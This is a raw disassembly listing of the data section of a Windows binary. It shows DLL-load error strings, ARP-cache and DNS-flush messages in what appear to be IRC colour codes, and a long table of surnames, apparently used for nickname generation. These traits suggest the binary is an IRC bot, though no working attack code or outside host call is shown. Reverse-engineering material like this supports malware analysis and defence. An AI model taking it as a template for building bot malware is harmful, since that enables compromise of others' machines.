sub_40A5C5+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o align 10h a_: ; DATA XREF: sub_41036B+252o unicode 0, <.>,0 unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o ; sub_40C2AF+38o aReal db 'real',0 align 4 dd 0 dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r aConst db 'const',0 align 10h dd 1, 40AB19h, 7474656Ch, 7265h, 0 dd 2, 40AB77h, 706D6F63h, 2 dup(0) dd 3, 40ABC4h, 6E756F63h, 797274h, 0 dd 4, 40AC62h, 736Fh, 2 dup(0) dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEEDh off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" ; --------------------------------------------------------------------------- loc_42E3C8: ; CODE XREF: ___:loc_42E3C8j js short loc_42E3C8 inc edx add [esi+edi*8+42h], ch add [eax-2], ah inc edx add [esi+edi*8+42h], dl add [eax-2], cl inc edx add [esi+edi*8], bh inc edx add [esi+edi*8], dh inc edx add [esi+edi*8], ch inc edx add [esi+edi*8], ah inc edx add [esi+edi*8], bl inc edx add [esi+edi*8], dl inc edx add [esi+edi*8], al inc edx add ah, bh std inc edx add al, dh std inc edx add al, ch std inc edx add al, ah std inc edx add al, bl std inc edx add al, dl std inc edx add ah, al std inc edx add [eax-4FFFBD03h], bh std inc edx add [ebp+edi*8-263FFBEh], ah inc edx add [eax-7BFFBD03h], dl std inc edx add [ebp+edi*8+42h], bh add [eax-3], dh inc edx add [ebp+edi*8+42h], ah add [ebp+edi*8+42h], bl add [eax-3], dl inc edx add [eax-3], cl inc edx add [eax-3], al inc edx add ds:0FD280042h[edi*8], dh inc edx add [eax], ah std inc edx add [eax], bl std inc edx add ds:0FD0C0042h[edi*8], dl inc edx ; --------------------------------------------------------------------------- db 0 dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset 